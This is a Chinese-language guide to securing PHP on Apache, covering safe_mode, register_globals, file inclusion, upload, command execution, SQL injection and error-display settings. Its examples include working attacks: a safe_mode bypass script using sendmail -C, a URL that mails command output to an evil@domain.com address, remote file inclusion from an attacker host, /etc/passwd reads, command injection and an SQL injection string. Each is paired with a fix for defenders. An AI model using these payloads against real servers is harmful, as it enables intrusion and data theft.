## 一、Web 服务器安全

PHP 其实不过是 Web 服务器的一个模块功能，所以首先要保证 Web 服务器的安全。当然 Web 服务器要安全又必须是先保证系统安全，这样就扯远了， 无穷无尽。PHP 可以和各种 Web 服务器结合，这里也只讨论 Apache。非常建议以 chroot 方式安装启动 Apache，这样即使 Apache 和 PHP 及其脚本出现漏洞，受影响的也只有这个禁锢的系统，不会危害实际系统。但是使用 chroot 的 Apache 后，给应用也会带来一定的麻烦，比如连接 mysql 时必须用 127.0.0.1地址使用 tcp 连接而不能用 localhost 实现 socket 连接，这在效率上会稍微差一点。还有 mail 函数发 送邮件也是个问题，因为 php.ini 里的：

[mail function]
; For Win32 only.
SMTP = localhost

; For Win32 only.
sendmail_from = me@localhost.com

都是针对 Win32平台，所以需要在 chroot 环境下调整好 sendmail。

## 二、PHP 本身问题

1、远程溢出

PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞，而且攻击程序已经广泛流传，成功率非常高：

http://packetstormsecurity.org/0204-exploits/7350fun
http://hsj.shadowpenguin.org/misc/php3018_exp.txt

2、远程拒绝服务

PHP-4.2.0和 PHP-4.2.1存在 PHP multipart/form-data POST 请求处理远程漏洞，虽然不能获得本地用户权限，但是也能造成拒绝服务。

3、safe_mode 绕过漏洞

还有 PHP-4.2.2以下到 PHP-4.0.5版本都存在 PHP mail 函数绕过 safe_mode 限制执行命令漏洞，4.0.5版本开始 mail 函数增加了第五个参数，由于设计者考虑不周可以突破 safe_mode 的限制执行命令。其中4.0.5版本突破非常简单，只需用分号隔开后面加 shell 命令就可以了，比如存在 PHP 脚本 evil.php：

<? mail("foo@bar,"foo","bar","",$bar); ?>

执行如下的 URL：

http://foo.com/evil.php?bar=;/usr/bin/id|mail evil@domain.com

这将 id 执行的结果发送给 evil@domain.com。

对于4.0.6至4.2.2的 PHP 突破 safe_mode 限制其实是利用了 sendmail 的-C 参数，所以系统必须是使用 sendmail。如下的代码能够突破 safe_mode 限制执行命令：

```
<?
# 注意，下面这两个必须是不存在的，或者它们的属主和本脚本的属主是一样
$script="/tmp/script123";
$cf="/tmp/cf123";

$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);

$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);

mail("nobody", "", "", "", "-C$cf");
?>
```

还是使用以上有问题版本 PHP 的用户一定要及时升级到最新版本，这样才能消除基本的安全问题。

### 三、PHP 本身的安全配置

PHP 的配置非常灵活，可以通过 php.ini, httpd.conf, .htaccess 文件（该目录必须设置了 AllowOverride All 或 Options）进行设置，还可以在脚本程序里使用 ini_set()及其他的特定的函数进行设置。通过 phpinfo()和 get_cfg_var()函数可以得到配置选项的各个值。

如果配置选项是唯一 PHP_INI_SYSTEM 属性的，必须通过 php.ini 和 httpd.conf 来修改，它们修改的是 PHP 的 Master 值，但修改之后必须重启 apache 才能生效。其中 php.ini 设置的选项是对 Web 服务器所有脚本生效，httpd.conf 里设置的选项是对该定义 的目录下所有脚本生效。

如果还有其他的 PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL 属性的选项就可以使用.htaccess 文件设置，也可以通过在脚本程序自身用 ini_set()函数设定，它们修改的是 Local 值，改了以后马上生效。但是.htaccess 只对当前目录的脚本程序生效，ini_set()函数只对该脚本程序设置 ini_set()函数 以后的代码生效。各个版本的选项属性可能不尽相同，可以用如下命令查找当前源代码的 main.c 文件得到所有的选项，以及它的属性：

# grep PHP_INI_ /PHP_SRC/main/main.c

在讨论 PHP 安全配置之前，应该好好了解 PHP 的 safe_mode 模式。

1、safe_mode

safe_mode 是唯一 PHP_INI_SYSTEM 属性，必须通过 php.ini 或 httpd.conf 来设置。要启用 safe_mode，只需修改 php.ini：

safe_mode = On

或者修改 httpd.conf，定义目录：

<Directory /var/www>
Options FollowSymLinks
php_admin_value safe_mode 1
</Directory>

重启 apache 后 safe_mode 就生效了。启动 safe_mode，会对许多 PHP 函数进行限制，特别是和系统相关的文件打开、命令执行等函数。
所有操作文件的函数将只能操作与脚本 UID 相同的文件，比如 test.php 脚本的内容为：

<?include("index.html")?>

几个文件的属性如下：

# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html
-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php

在浏览器请求 test.php 会提示如下的错误信息：

Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1

如果被操作文件所在目录的 UID 和脚本 UID 一致，那么该文件的 UID 即使和脚本不同也可以访问的，不知这是否是 PHP 的一个漏洞还是另有隐情。所 以 php 脚本属主这个用户最好就只作这个用途，绝对禁止使用 root 做为 php 脚本的属主，这样就达不到 safe_mode 的效果了。

如果想将其放宽到 GID 比较，则打开 safe_mode_gid 可以考虑只比较文件的 GID，可以设置如下选项：

safe_mode_gid = On

设置了 safe_mode 以后，所有命令执行的函数将被限制只能执行 php.ini 里 safe_mode_exec_dir 指定目录里的程序，而且 shell_exec 、`ls -l` 这种执行命令的方式会被禁止。如果确实需要调用其它程序，可以在 php.ini 做如下设置：

safe_mode_exec_dir = /usr/local/php/exec

然后拷贝程序到该目录，那么 php 脚本就可以用 system 等函数来执行该程序。而且该目录里的 shell 脚本还是可以调用其它目录里的系统命令。

safe_mode_include_dir string
当从此目录及其子目录（目录必须在 include_path 中或者用完整路径来包含）包含文件时越过 UID/GID 检查。

从 PHP 4.2.0 开始，本指令可以接受和 include_path 指令类似的风格用分号隔开的路径，而不只是一个目录。

指定的限制实际上是一个前缀，而非一个目录名。这也就是说“safe_mode_include_dir = /dir/incl”将允许访问“/dir/include”和“/dir/incls”，如果它们存在。如果您希望将访问控制在一个指定的目录，那么请 在结尾加上一个斜线，例如：“safe_mode_include_dir = /dir/incl/”。

safe_mode_allowed_env_vars string
设置某些环境变量可能是潜在的安全缺口。本指令包含有一个逗号分隔的前缀列表。在安全模式下，用户只能改变那些名字具有在这里提供的前缀的环境变量。默认情况下，用户只能设置以 PHP_ 开头的环境变量（例如 PHP_FOO = BAR）。

注: 如果本指令为空，PHP 将使用户可以修改任何环境变量！

safe_mode_protected_env_vars string
本指令包含有一个逗号分隔的环境变量的列表，最终用户不能用 putenv() 来改变这些环境变量。甚至在 safe_mode_allowed_env_vars 中设置了允许修改时也不能改变这些变量。

虽然 safe_mode 不是万能的（低版本的 PHP 可以绕过），但还是强烈建议打开安全模式，在一定程度上能够避免一些未知的攻击。不过启用 safe_mode 会有很多限制，可能对应用带来影响，所以还需要调整代码和配置才能和谐。被安全模式限制或屏蔽的函数可以参考 PHP 手册。

讨论完 safe_mode 后，下面结合程序代码实际可能出现的问题讨论如何通过对 PHP 服务器端的配置来避免出现的漏洞。

2、变量滥用

PHP 默认 register_globals = On，对于 GET, POST, Cookie, Environment, Session 的变量可以直接注册成全局变量。它们的注册顺序是 variables_order = "EGPCS"（可以通过 php.ini 修改），同名变量 variables_order 右边的覆盖左边，所以变量的滥用极易造成程序的混乱。而且脚本

程 序员往往没有对变量初始化的习惯，像如下的程序片断就极易受到攻击：

```
<?
//test_1.php

if ($pass == "hello")
$auth = 1;

if ($auth == 1)
echo "some important information";
else
echo "nothing";
?>
```

攻击者只需用如下的请求就能绕过检查：
http://victim/test_1.php?auth=1

这虽然是一个很弱智的错误，但一些著名的程序也有犯过这种错误，比如 phpnuke 的远程文件拷贝漏洞 http://www.securityfocus.com/bid/3361

PHP-4.1.0发布的时候建议关闭 register_globals，并提供了7个特殊的数组变量来使用各种变量。对于从 GET、POST、 COOKIE 等来的变量并不会直接注册成变量，必需通过数组变量来存取。PHP-4.2.0发布的时候，php.ini 默认配置就是 register_globals = Off。这使得程序使用 PHP 自身初始化的默认值，一般为0，避免了攻击者控制判断变量。

解决方法：

配置文件 php.ini 设置 register_globals = Off。

要求程序员对作为判断的变量在程序最开始初始化一个值。

3、文件打开

极易受攻击的代码片断：

```
<?
//test_2.php

if (!($str = readfile("$filename"))) {
echo("Could not open file: $filename<BR>\n");
exit;
}
else {
echo $str;
}
?>
```

由于攻击者可以指定任意的$filename，攻击者用如下的请求就可以看到/etc/passwd：

http://victim/test_2.php?filename=/etc/passwd

如下请求可以读 php 文件本身：

http://victim/test_2.php?filename=test_2.php

PHP 中文件打开函数还有 fopen(), file()等，如果对文件名变量检查不严就会造成服务器重要文件被访问读取。

解决方法：

如非特殊需要，把 php 的文件操作限制在 web 目录里面。以下是修改 apache 配置文件 httpd.conf 的一个例子：

```
<Directory /usr/local/apache/htdocs>
php_admin_value open_basedir /usr/local/apache/htdocs
</Directory>
```

重启 apache 后，/usr/local/apache/htdocs 目录下的 PHP 脚本就只能操作它自己目录下的文件了，否则 PHP 就会报错：

Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.

使用 safe_mode 模式也能避免这种问题，前面已经讨论过了。

4、包含文件

极易受攻击的代码片断：

```
<?
//test_3.php

if(file_exists($filename))
include("$filename");
?>
```

这种不负责任的代码会造成相当大的危害，攻击者用如下请求可以得到/etc/passwd 文件：

http://victim/test_3.php?filename=/etc/passwd

如果对于 Unix 版的 PHP（Win 版的 PHP 不支持远程打开文件）攻击者可以在自己开了 http 或 ftp 服务的机器上建立一个包含 shell 命令 的文件， http://attack/attack.txt 的内容是 <?passthru("ls /etc")?>，那么如下的请求就可以在目标主机执行命令 ls /etc：

http://victim/test_3.php?filename=http://attack/attack.txt

攻击者甚至可以通过包含 apache 的日志文件 access.log 和 error.log 来得到执行命令的代码，不过由于干扰信息太多，有时不易成功。
对于另外一种形式，如下代码片断：

```
<?
//test_4.php

include("$lib/config.php");
?>
```

攻击者可以在自己的主机建立一个包含执行命令代码的 config.php 文件，然后用如下请求也可以在目标主机执行命令：

http://victim/test_4.php?lib=http://attack

PHP 的包含函数有 include(), include_once(), require(), require_once。如果对包含文件名变量检查不严就会对系统造成严重危险，可以远程执行命令。

解决方法：

要求程序员包含文件里的参数尽量不要使用变量，如果使用变量，就一定要严格检查要包含的文件名，绝对不能由用户任意指定。

如前面文件打开中限制 PHP 操作路径是一个必要的选项。另外，如非特殊需要，一定要关闭 PHP 的远程文件打开功能。修改 php.ini 文件：

```
allow_url_fopen = Off
```

重启 apache。

5、文件上传

php 的文件上传机制是把用户上传的文件保存在 php.ini 的 upload_tmp_dir 定义的临时目录（默认是系统的临时目录， 如：/tmp）里的一个类似 phpxXuoXG 的随机临时文件，程序执行结束，该临时文件也被删除。PHP 给上传的文件定义了四个变量：（如 form 变量 名是 file，而且 register_globals 打开）

```
$file #就是保存到服务器端的临时文件（如/tmp/phpxXuoXG ）
$file_size #上传文件的大小
$file_name #上传文件的原始名称
$file_type #上传文件的类型
```

推荐使用：

$HTTP_POST_FILES['file']['tmp_name']
$HTTP_POST_FILES['file']['size']
$HTTP_POST_FILES['file']['name']
$HTTP_POST_FILES['file']['type']

这是一个最简单的文件上传代码：

```
<?
//test_5.php

if(isset($upload) && $file != "none") {
copy($file, "/usr/local/apache/htdocs/upload/".$file_name);
echo "文件".$file_name."上传成功！点击<a href=\"$PHP_SELF\">继续上传</a>";
exit;
}
?>
<html>
<head>
<title>文件上传</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF">
<form enctype="multipart/form-data" method="post">
上传文件:
<input type="file" name="file" size="30">
<input type="submit" name="upload" value="上传">
</form>
</body>
</html>
```

这样的上传代码存在读取任意文件和执行命令的重大问题。
下面的请求可以把/etc/passwd 文档拷贝到 web 目录/usr/local/apache/htdocs/test（注意：这个目录必须 nobody 可写）下的 attack.txt 文件里：

http://victim/test_5.php?upload=1&file=/etc/passwd&file_name=attack.txt

然后可以用如下请求读取口令文件：

http://victim/test/attack.txt

攻击者可以把 php 文件拷贝成其它扩展名，泄漏脚本源代码。
攻击者可以自定义 form 里 file_name 变量的值，上传覆盖任意有写权限的文件。
攻击者还可以上传 PHP 脚本执行主机的命令。

解决方法：

PHP-4.0.3以后提供了 is_uploaded_file 和 move_uploaded_file 函数，可以检查操作的文件是否是用户上传的文件，从而避免把系统文件拷贝到 web 目录。
使用$HTTP_POST_FILES 数组来读取用户上传的文件变量。
严格检查上传变量。比如不允许是 php 脚本文件。

把 PHP 脚本操作限制在 web 目录可以避免程序员使用 copy 函数把系统文件拷贝到 web 目录。move_uploaded_file 不受 open_basedir 的限制，所以不必修改 php.ini 里 upload_tmp_dir 的值。
把 PHP 脚本用 phpencode 进行加密，避免由于 copy 操作泄漏源码。
严格配置文件和目录的权限，只允许上传的目录能够让 nobody 用户可写。
对于上传目录去掉 PHP 解释功能，可以通过修改 httpd.conf 实现：

```
<Directory /usr/local/apache/htdocs/upload>
php_flag engine off
#如果是 php3换成 php3_engine off
</Directory>
```

重启 apache，upload 目录的 php 文件就不能被 apache 解释了，即使上传了 php 文件也没有问题，只能直接显示源码。

6、命令执行

下面的代码片断是从 PHPNetToolpack 摘出，详细的描述见：

http://www.securityfocus.com/bid/4303

```
<?
//test_6.php

system("traceroute $a_query",$ret_strs);
?>
```

由于程序没有过滤$a_query 变量，所以攻击者可以用分号来追加执行命令。

攻击者输入如下请求可以执行 cat /etc/passwd 命令：

http://victim/test_6.php?a_query=www.example.com;cat /etc/passwd

PHP 的命令执行函数还有 system(), passthru(), popen()和``等。命令执行函数非常危险，慎用。如果要使用一定要严格检查用户输入。

解决方法：

要求程序员使用 escapeshellcmd()函数过滤用户输入的 shell 命令。

启用 safe_mode 可以杜绝很多执行命令的问题，不过要注意 PHP 的版本一定要是最新的，

小于 PHP-4.2.2的都可能绕过 safe_mode 的限制去执行命令。

7、sql_inject

如下的 SQL 语句如果未对变量进行处理就会存在问题：

select * from login where user='$user' and pass='$pass'

攻击者可以用户名和口令都输入1' or 1='1绕过验证。

不过幸亏 PHP 有一个默认的选项 magic_quotes_gpc = On，该选项使得从 GET, POST, COOKIE 来的变量自动加了 addslashes()操作。上面 SQL 语句变成了：

select * from login where user='1\' or 1=\'1' and pass='1\' or 1=\'1'

从而避免了此类 sql_inject 攻击。

对于数字类型的字段，很多程序员会这样写：

select * from test where id=$id

由于变量没有用单引号扩起来，就会造成 sql_inject 攻击。幸亏 MySQL 功能简单，没有 sqlserver 等数据库有执行命令的 SQL 语 句，而且 PHP 的 mysql_query()函数也只允许执行一条 SQL 语句，所以用分号隔开多条 SQL 语句的攻击也不能奏效。但是攻击者起码还可以让查 询语句出错，泄漏系统的一些信息，或者一些意想不到的情况。

解决方法：

要求程序员对所有用户提交的要放到 SQL 语句的变量进行过滤。
即使是数字类型的字段，变量也要用单引号扩起来，MySQL 自己会把字串处理成数字。
在 MySQL 里不要给 PHP 程序高级别权限的用户，只允许对自己的库进行操作，这也避免了程序出现问题被 SELECT INTO OUTFILE ... 这种攻击。

8、警告及错误信息

PHP 默认显示所有的警告及错误信息：

error_reporting = E_ALL & ~E_NOTICE
display_errors = On

在平时开发调试时这非常有用，可以根据警告信息马上找到程序错误所在。
正式应用时，警告及错误信息让用户不知所措，而且给攻击者泄漏了脚本 所在的物理路径，为攻击者的进一步攻击提供了有利的信息。而且由于自己没有访问到错误的地方，反而不能及时修改程序的错误。所以把 PHP 的所有警告及错误 信息记录到一个日志文件是非常明智的，即不给攻击者泄漏物理路径，又能让自己知道程序错误所在。

修改 php.ini 中关于 Error handling and logging 部分内容：

error_reporting = E_ALL
display_errors = Off
log_errors = On
error_log = /usr/local/apache/logs/php_error.log

然后重启 apache，注意文件/usr/local/apache/logs/php_error.log 必需可以让 nobody 用户可写。

9、disable_functions

如果觉得有些函数还有威胁，可以设置 php.ini 里的 disable_functions（这个选项不能在 httpd.conf 里设置），比如：

disable_functions = phpinfo, get_cfg_var

可以指定多个函数，用逗号分开。重启 apache 后，phpinfo, get_cfg_var 函数都被禁止了。建议关闭函数 phpinfo, get_cfg_var，这两个函数容易泄漏服务器信息，而且没有实际用处。

10、disable_classes

这个选项是从 PHP-4.3.2开始才有的，它可以禁用某些类，如果有多个用逗号分隔类名。disable_classes 也不能在 httpd.conf 里设置，只能在 php.ini 配置文件里修改。

11、open_basedir

前面分析例程的时候也多次提到用 open_basedir 对脚本操作路径进行限制，这里再介绍一下它的特性。用 open_basedir 指定的限制 实际上是前缀，不是目录名。也就是说 "open_basedir = /dir/incl" 也会允许访问 "/dir/include" 和 "/dir/incls"，如果它们存在的话。如果要将访问限制在仅为指定的目录，用斜线结束路径名。例如："open_basedir = /dir/incl/"。
可以设置多个目录，在 Windows 中，用分号分隔目录。在任何其它系统中用冒号分隔目录。作为 Apache 模块时，父目录中的 open_basedir 路径自动被继承。

## 四、其它安全配置

1、取消其它用户对常用、重要系统命令的读写执行权限

一般管理员维护只需一个普通用户和管理用户，除了这两个用户，给其它用户能够执行和访问的东西应该越少越好，所以取消其它用户对常用、重要系统命令 的读写执行权限能在程序或者服务出现漏洞的时候给攻击者带来很大的迷惑。记住一定要连读的权限也去掉，否则在 linux 下可以用/lib/ld- linux.so.2 /bin/ls 这种方式来执行。
如果要取消某程如果是在 chroot 环境里，这个工作比较容易实现，否则，这项工作还是有 些挑战的。因为取消一些程序的执行权限会导致一些服务运行不正常。PHP 的 mail 函数需要/bin/sh 去调用 sendmail 发信，所以/bin /bash 的执行权限不能去掉。这是一项比较累人的工作，

2、去掉 apache 日志其它用户的读权限

apache 的 access-log 给一些出现本地包含漏洞的程序提供了方便之门。通过提交包含 PHP 代码的 URL，可以使 access-log 包含 PHP 代码，那么把包含文件指向 access-log 就可以执行那些 PHP 代码，从而获得本地访问权限。
如果有其它虚拟主机，也应该相应去掉该日志文件其它用户的读权限。

当然，如果你按照前面介绍的配置 PHP 那么一般已经是无法读取日志文件了。